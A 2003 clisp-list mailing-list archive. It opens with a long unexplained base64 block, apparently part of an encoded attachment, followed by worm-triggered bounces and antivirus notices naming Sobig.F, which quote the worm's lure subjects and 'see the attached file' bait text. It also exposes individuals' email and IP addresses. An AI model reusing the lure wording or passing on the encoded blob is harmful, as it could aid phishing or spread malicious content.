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 lBIwp47yLBfxkJMl1WbiQ1qfxkYez From LISTSERV@java.sun.com Tue Aug 19 09:16:15 2003 Received: from swjscmail2.sun.com ([192.18.99.108] helo=swjscmail2.java.sun.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19p76Z-0000NB-00 for ; Tue, 19 Aug 2003 07:04:59 -0700 Received: from swjscmail1 (swjscmail1.Sun.COM [192.18.99.107]) by swjscmail2.java.sun.com (Postfix) with ESMTP id 1193F21CB9 for ; Tue, 19 Aug 2003 08:00:31 -0600 (MDT) From: "L-Soft list server at Sun Microsystems Inc. (1.8e)" To: clisp-list@sourceforge.net Message-ID: Subject: [clisp-list] Re: That movie Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 09:17:01 2003 X-Original-Date: Tue, 19 Aug 2003 07:57:16 -0600 > See the attached file for details Unknown command - "SEE". Try HELP. Summary of resource utilization ------------------------------- CPU time: 0.000 sec Overhead CPU: 0.000 sec CPU model: 4-CPU Ultra-80 Job origin: clisp-list@SF.NET From MAILER-DAEMON Tue Aug 19 09:39:43 2003 Received: from [81.187.234.250] (helo=horace.worldnews.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19p8wU-00016W-00 for ; Tue, 19 Aug 2003 09:02:42 -0700 Received: from mail by horace.worldnews.com with local (Exim 3.36 #1 (Debian)) id 19p8wS-0000QE-00 for ; Tue, 19 Aug 2003 17:02:40 +0100 X-Failed-Recipients: bas@wn.com From: Mail Delivery System To: clisp-list@lists.sourceforge.net Message-Id: Subject: [clisp-list] Mail delivery failed: returning message to sender Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 09:40:02 2003 X-Original-Date: Tue, 19 Aug 2003 17:02:40 +0100 This message was created automatically by mail delivery software (Exim). A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: bas@wn.com SMTP error from remote mailer after RCPT TO:: host mail1.wn.com [217.150.109.71]: 550 Unknown local part bas in ------ This is a copy of the message, including all the headers. ------ Return-path: Received: from d-128-78-122.bootp.virginia.edu ([128.143.78.122] helo=CE55) by horace.worldnews.com with esmtp (Exim 3.36 #1 (Debian)) id 19p8wS-0000Q7-00 for ; Tue, 19 Aug 2003 17:02:40 +0100 From: To: Subject: Your details Date: Tue, 19 Aug 2003 12:02:40 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_01EFE0D7" Message-Id: This is a multipart message in MIME format --_NextPart_000_01EFE0D7 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_01EFE0D7-- From THN-SEG01_Notify@doubleclick.net Tue Aug 19 09:40:14 2003 Received: from network-65-167-67-18.doubleclick.net ([65.167.67.18] helo=thn-ex10.doubleclick.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19p8uU-0000oD-00 for ; Tue, 19 Aug 2003 09:00:38 -0700 Received: from THN-SEG01.doubleclick.net (THN-SEG01 [10.40.0.51]) by thn-ex10.doubleclick.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id QRV57B5H; Tue, 19 Aug 2003 10:01:48 -0600 From: THN-SEG01_Notify@doubleclick.net To: clisp-list@lists.sourceforge.net Message-Id: Subject: [clisp-list] Content violation Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 09:41:02 2003 X-Original-Date: Tue, 19 Aug 2003 09:00:38 -0700 Content violation found in email message. X-Sybari-Space: 00000000 00000000 00000000 00000000 From: clisp-list@lists.sourceforge.net To: nsb@messagemedia.com File(s): document_9446.pif Matching filename: *.pif From LISTSERV@nic.surfnet.nl Tue Aug 19 13:25:49 2003 Received: from nic.surfnet.nl ([192.87.5.140]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19p8U6-0005At-00 for ; Tue, 19 Aug 2003 08:33:22 -0700 Received: from listserv (192.87.5.140) by nic.surfnet.nl (LSMTP for Windows NT v1.1b) with SMTP id <0.00F2710B@nic.surfnet.nl>; Tue, 19 Aug 2003 17:33:19 +0200 From: "L-Soft list server at SURFnet (The Netherlands) (1.8d)" To: clisp-list@sourceforge.net Message-Id: Subject: [clisp-list] Message ("Your message dated Tue, 19 Aug 2003 11:33:17...") Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 13:26:02 2003 X-Original-Date: Tue, 19 Aug 2003 17:33:19 +0200 Your message dated Tue, 19 Aug 2003 11:33:17 --0400 with subject "Re: Approved" has been submitted to the moderator of the TEX-NL list: "Jules van Weerden, DIVA, VET, UU, NL" . From MAILER-DAEMON Tue Aug 19 14:18:44 2003 Received: from ms-2.rz.rwth-aachen.de ([134.130.3.131] helo=ms-dienst.rz.rwth-aachen.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pCny-00035R-00 for ; Tue, 19 Aug 2003 13:10:10 -0700 Received: from ue250-1 (ue250-1.rz.RWTH-Aachen.DE [134.130.3.33]) by ms-dienst.rz.rwth-aachen.de (iPlanet Messaging Server 5.2 HotFix 1.12 (built Feb 13 2003)) with ESMTP id <0HJV008LQUH2UG@ms-dienst.rz.rwth-aachen.de> for clisp-list@lists.sourceforge.net; Tue, 19 Aug 2003 22:05:27 +0200 (MEST) Received: from relay1.RWTH-Aachen.DE ([134.130.3.3]) by ue250-1 (MailMonitor for SMTP v1.2.2 ) ; Tue, 19 Aug 2003 22:05:26 +0200 (MEST) Received: from localhost (localhost) by relay1.rwth-aachen.de (8.12.9/8.12.7/1) id h7JK5QJI028253; Tue, 19 Aug 2003 22:05:26 +0200 (MEST) From: Mail Delivery Subsystem To: clisp-list@lists.sourceforge.net Message-id: <200308192005.h7JK5QJI028253@relay1.rwth-aachen.de> Auto-submitted: auto-generated (failure) MIME-version: 1.0 Content-type: multipart/report; boundary="Boundary_(ID_UC6a7svEXkkuqh37/Bbmtg)"; report-type=delivery-status Subject: [clisp-list] Returned mail: see transcript for details Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 14:19:07 2003 X-Original-Date: Tue, 19 Aug 2003 22:05:26 +0200 (MEST) This is a MIME-encapsulated message --Boundary_(ID_UC6a7svEXkkuqh37/Bbmtg) Content-type: TEXT/PLAIN Content-transfer-encoding: 7BIT The original message was received at Tue, 19 Aug 2003 22:05:23 +0200 (MEST) from d-128-78-122.bootp.Virginia.EDU [128.143.78.122] ----- The following addresses had permanent fatal errors ----- (reason: 550 5.1.1 unknown or illegal alias: scherer@physik.rwth-aachen.de) ----- Transcript of session follows ----- ... while talking to relay1.rwth-aachen.de.: >>> RCPT To: <<< 550 5.1.1 unknown or illegal alias: scherer@physik.rwth-aachen.de 550 5.1.1 ... User unknown --Boundary_(ID_UC6a7svEXkkuqh37/Bbmtg) Content-type: message/delivery-status Reporting-MTA: dns; relay1.rwth-aachen.de Received-From-MTA: DNS; d-128-78-122.bootp.Virginia.EDU Arrival-Date: Tue, 19 Aug 2003 22:05:23 +0200 (MEST) Final-Recipient: RFC822; scherer@physik.rwth-aachen.de Action: failed Status: 5.1.1 Remote-MTA: DNS; relay1.rwth-aachen.de Diagnostic-Code: SMTP; 550 5.1.1 unknown or illegal alias: scherer@physik.rwth-aachen.de Last-Attempt-Date: Tue, 19 Aug 2003 22:05:26 +0200 (MEST) --Boundary_(ID_UC6a7svEXkkuqh37/Bbmtg) Content-type: message/rfc822 Return-path: Received: from CE55 (d-128-78-122.bootp.Virginia.EDU [128.143.78.122]) by relay1.rwth-aachen.de (8.12.9/8.12.7/1) with ESMTP id h7JK5GJI028214 for ; Tue, 19 Aug 2003 22:05:23 +0200 (MEST) Date: Tue, 19 Aug 2003 16:05:16 +0400 From: clisp-list@lists.sourceforge.net Subject: Re: Wicked screensaver To: scherer@physik.rwth-aachen.de Message-id: <200308192005.h7JK5GJI028214@relay1.rwth-aachen.de> MIME-version: 1.0 X-Mailer: Microsoft Outlook Express 6.00.2600.0000 Content-type: multipart/mixed; boundary="Boundary_(ID_mDEM+9G0OB20wWspSERO1g)" Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal X-MailScanner: Found to be clean X-Spam-Status: No, hits=4.4 required=6.0 tests=INVALID_DATE,MIME_BOUND_NEXTPART,MISSING_MIMEOLE, NO_REAL_NAME,RAZOR2_CHECK version=2.55 X-Spam-Level: **** X-Spam-Checker-Version: SpamAssassin 2.55 (1.174.2.19-2003-05-19-exp) This is a multipart message in MIME format --Boundary_(ID_mDEM+9G0OB20wWspSERO1g) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT See the attached file for details --Boundary_(ID_mDEM+9G0OB20wWspSERO1g)-- --Boundary_(ID_UC6a7svEXkkuqh37/Bbmtg)-- From MAILER-DAEMON Tue Aug 19 14:22:12 2003 Received: from maciot.ulpgc.es ([193.145.138.4]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19p8U7-0005BO-00 for ; Tue, 19 Aug 2003 08:33:24 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by maciot.ulpgc.es (Postfix) with SMTP id 2087217970 for ; Tue, 19 Aug 2003 16:33:22 +0100 (WEST) To: clisp-list@sourceforge.net From: Antivirus-Daemon@maciot.ulpgc.es MIME-Version: 1.0 Content-Type: multipart/report; report-type=delivery-status; boundary="avcheck-Sender-6975-20030819163322@maciot.ulpgc.es" Message-Id: <20030819153322.2087217970@maciot.ulpgc.es> Subject: [clisp-list] Sender Virus-alert (sender: clisp-list@sf.net) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 14:23:03 2003 X-Original-Date: Tue, 19 Aug 2003 16:33:22 +0100 (WEST) This is a multi-part message in MIME format. --avcheck-Sender-6975-20030819163322@maciot.ulpgc.es Content-Type: text/plain; charset=us-ascii Content-Description: Notification This is a mail anti-virus program at host maciot.ulpgc.es The mail system received a message from you (clisp-list@sf.net) destined to bautista@cma.ulpgc.es that contains either infected or suspicious file(s) and it has not reached the above destination(s). Antivirus message(s): infected: I-Worm.Sobig.f Please clean up your machine using antivirus software before trying to send any new mail, and resend the message if you need. Or or ask your system administrator for help. Please, do not respond to *this* message you're reading now -- your response will be lost. I, the antivirus program, will be unable to read your response, sorry... :) --avcheck-Sender-6975-20030819163322@maciot.ulpgc.es Content-Description: Delivery error report Content-Type: message/delivery-status Reporting-MTA: dns; maciot.ulpgc.es Final-Recipient: rfc822; bautista@cma.ulpgc.es Action: failed Status: 5.0.0 Diagnostic-Code: X-Avcheck; service unavailable. infected: I-Worm.Sobig.f --avcheck-Sender-6975-20030819163322@maciot.ulpgc.es Content-Type: message/rfc822-headers Content-Description: Infected message headers Content-Disposition: inline Received: from CE55 (d-128-78-122.bootp.Virginia.EDU [128.143.78.122]) by maciot.ulpgc.es (Postfix) with ESMTP id EFCD617760 for ; Tue, 19 Aug 2003 16:33:17 +0100 (WEST) From: To: Subject: Re: Approved Date: Tue, 19 Aug 2003 11:33:17 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_01D4FE2B" Message-Id: <20030819153317.EFCD617760@maciot.ulpgc.es> X-Spam-Status: No, hits=-2.2 required=5.0 tests=BAYES_01,DATE_IN_PAST_03_06,FORGED_MUA_OUTLOOK, INVALID_DATE,MICROSOFT_EXECUTABLE,MIME_BOUND_NEXTPART, MISSING_MIMEOLE,NO_REAL_NAME version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) --avcheck-Sender-6975-20030819163322@maciot.ulpgc.es-- From Postmaster@zrz.tu-berlin.de Tue Aug 19 15:02:23 2003 Received: from mail2.zrz.tu-berlin.de ([130.149.4.14]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pE9y-00058j-00 for ; Tue, 19 Aug 2003 14:36:58 -0700 Received: from localhost ([127.0.0.1] helo=mail2.zrz.TU-Berlin.DE) by mail2.zrz.tu-berlin.de with esmtp (exim-4.22-1) for id 19pE9o-00014v-Ao; Tue, 19 Aug 2003 23:36:48 +0200 MIME-Version: 1.0 Message-Id: <3F429870.004936.19083@mail2.zrz.TU-Berlin.DE> Content-Type: Text/Plain; charset="ISO-8859-1" From: Postmaster@zrz.TU-Berlin.DE To: Subject: [clisp-list] Virus found in message (quarantined) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 15:03:02 2003 X-Original-Date: Tue, 19 Aug 2003 23:36:48 +0200 (CEST) Virus Information Message from MailMonitor for SMTP v1.2.2 on mail2.zrz.TU-Berlin.DE[130.149.4.14] You have sent a virus infected mail Sie haben eine Virus-infizierte Mail which was quaratined to protect versendet, die in Quarataene genommen the recipient. wurde, um den Empfaenger zu schuetzen. More information about the virus Mehr Informationen zum Virus unter at http://www.sophos.com http://www.sophos.de Sender/Recipient information Absender/Empfaenger Information Sender/Absender: Recipient/Empfaenger: --- Problem report --- Problem Bericht Email data: MessageID: From: To: Cc: Subject: Re: Wicked screensaver Scanning part [] Scanning part [document_all.pif] Attachment validity check: passed. Virus identity found: W32/Sobig-F The recipient must request the Der Empfaenger muss die Freilassung release from quarantine to get aus der Quarantaene veranlassen, um the mail delivered. die Mail zugestellt zu bekommen. This mail was automatically Diese Mail wurde automatisiert generated. generiert. From MAILER-DAEMON Tue Aug 19 15:27:20 2003 Received: from thor.mhrz.mh-hannover.de ([193.174.104.33] helo=MailExt1.MH-Hannover.DE) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pD3G-0006I3-00 for ; Tue, 19 Aug 2003 13:25:59 -0700 Received: from root by MailExt1.MH-Hannover.DE with local (Exim 3.02 #1) id 19pD3E-0000tY-00 for clisp-list@sf.net; Tue, 19 Aug 2003 22:25:56 +0200 X-Failed-Recipients: Peter.Malewski@gmx.de From: Mail Delivery System To: clisp-list@sourceforge.net Message-Id: Subject: [clisp-list] Mail delivery failed: returning message to sender Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 15:28:04 2003 X-Original-Date: Tue, 19 Aug 2003 22:25:56 +0200 This message was created automatically by mail delivery software. A message that you sent could not be delivered to all of its recipients. The following address(es) failed: Peter.Malewski@gmx.de: SMTP error from remote mailer after RCPT TO: : host mx0.gmx.net [213.165.64.100]: 552 {mx023-rz3} The users mailbox is full ------ This is a copy of the message, including all the headers. ------ Return-path: Received: from nanna.mhrz.mh-hannover.de ([172.20.1.99] helo=Mail.MH-Hannover.DE) by MailExt1.MH-Hannover.DE with esmtp (Exim 3.02 #1) id 19pD3D-0000tW-00 for Peter.Malewski@gmx.de; Tue, 19 Aug 2003 22:25:55 +0200 Received: from user.mh-hannover.de ([172.20.1.32]) by Mail.MH-Hannover.DE with esmtp (Exim 3.02 #1) id 19pD3D-0003So-00 for Peter.Malewski@gmx.de; Tue, 19 Aug 2003 22:25:55 +0200 Received: from nanna.mhrz.mh-hannover.de ([172.20.1.99] helo=Mail.MH-Hannover.DE) by User.MH-Hannover.DE with esmtp (Exim 3.16 #1) id 19pD3C-0004nU-00 for malp7160@user.mh-hannover.de; Tue, 19 Aug 2003 22:25:54 +0200 Received: from thor.mhrz.mh-hannover.de ([193.174.104.33] helo=MailExt1.MH-Hannover.DE) by Mail.MH-Hannover.DE with esmtp (Exim 3.02 #1) id 19pD3C-0003Sl-00 for malewski.peter@mh-hannover.de; Tue, 19 Aug 2003 22:25:54 +0200 Received: from d-128-78-122.bootp.virginia.edu ([128.143.78.122] helo=CE55) by MailExt1.MH-Hannover.DE with esmtp (Exim 3.02 #1) id 19pD3C-0000tH-00 for malewski.peter@mh-hannover.de; Tue, 19 Aug 2003 22:25:54 +0200 From: To: Subject: Re: Thank you! Date: Tue, 19 Aug 2003 16:25:53 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_02E0DD1A" Message-Id: This is a multipart message in MIME format --_NextPart_000_02E0DD1A Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_02E0DD1A-- From sympa-request@ens.fr Tue Aug 19 16:37:24 2003 Received: from nef.ens.fr ([129.199.96.32]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pFsF-0007Sr-00 for ; Tue, 19 Aug 2003 16:26:47 -0700 Received: from (sympa@localhost) by nef.ens.fr (8.12.9/1.01.28121999) id h7JNQdcx037373 for clisp-list@lists.sourceforge.net; Wed, 20 Aug 2003 01:26:39 +0200 (CEST) Message-Id: <200308192326.h7JNQdcx037373@nef.ens.fr> X-Authentication-Warning: nef.ens.fr: sympa set sender to sympa-request@ens.fr using -f From: SYMPA To: clisp-list@lists.sourceforge.net X-Loop: sympa@ens.fr MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Results of your commands Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 16:38:02 2003 X-Original-Date: Wed, 20 Aug 2003 01:26:39 +0200 (CEST) > See the attached file for details Command not understood: ignoring end of message. No command found in message From MAILER-DAEMON Tue Aug 19 16:38:38 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=externalmx.vasoftware.com) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19pE43-0003mw-00 for ; Tue, 19 Aug 2003 14:30:51 -0700 Received: from ums515.nifty.ne.jp ([202.248.20.217]:45836) by externalmx.vasoftware.com with esmtp (Exim 4.20 #1 (Debian)) id 19pE3t-0007ze-1L for ; Tue, 19 Aug 2003 14:30:41 -0700 Received: from localhost (localhost) by ums515.nifty.ne.jp id h7JLUdbI009513; Wed, 20 Aug 2003 06:30:39 +0900 From: Mail Delivery Subsystem Message-Id: <200308192130.h7JLUdbI009513@ums515.nifty.ne.jp> To: MIME-Version: 1.0 Content-Type: multipart/report; report-type=delivery-status; boundary="h7JLUdbI009513.1061328639/ums515.nifty.ne.jp" Auto-Submitted: auto-generated (failure) X-EA-Verified: externalmx.vasoftware.com 19pE3t-0007ze-1L 08cd9b1cdaaf001be373521f53383f57 X-Spam-Score: -0.3 (/) Subject: [clisp-list] Returned mail: see transcript for details Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 16:39:03 2003 X-Original-Date: Wed, 20 Aug 2003 06:30:39 +0900 This is a MIME-encapsulated message --h7JLUdbI009513.1061328639/ums515.nifty.ne.jp The original message was received at Wed, 20 Aug 2003 06:30:33 +0900 from d-128-78-122.bootp.Virginia.EDU [128.143.78.122] ----- The following addresses had permanent fatal errors ----- (reason: 552 5.2.2 Sorry, Now this mailbox is full: QWF00133@nifty.com) ----- Transcript of session follows ----- ... while talking to [172.22.54.173]: >>> DATA <<< 552 5.2.2 Sorry, Now this mailbox is full: QWF00133@nifty.com 554 5.0.0 Service unavailable (Sorry, Now this mailbox is full: QWF00133@nifty.com) --h7JLUdbI009513.1061328639/ums515.nifty.ne.jp Content-Type: message/delivery-status Reporting-MTA: dns; ums515.nifty.ne.jp Arrival-Date: Wed, 20 Aug 2003 06:30:33 +0900 Final-Recipient: RFC822; QWF00133@niftyserve.or.jp X-Actual-Recipient: RFC822; QWF00133@nifty.com Action: failed Status: 5.2.2 Diagnostic-Code: SMTP; 552 5.2.2 Sorry, Now this mailbox is full: QWF00133@nifty.com Last-Attempt-Date: Wed, 20 Aug 2003 06:30:39 +0900 --h7JLUdbI009513.1061328639/ums515.nifty.ne.jp Content-Type: message/rfc822 Return-Path: Received: from CE55 (d-128-78-122.bootp.Virginia.EDU [128.143.78.122]) by ums515.nifty.ne.jp with ESMTP id h7JLUW2E009483 for ; Wed, 20 Aug 2003 06:30:33 +0900 Message-Id: 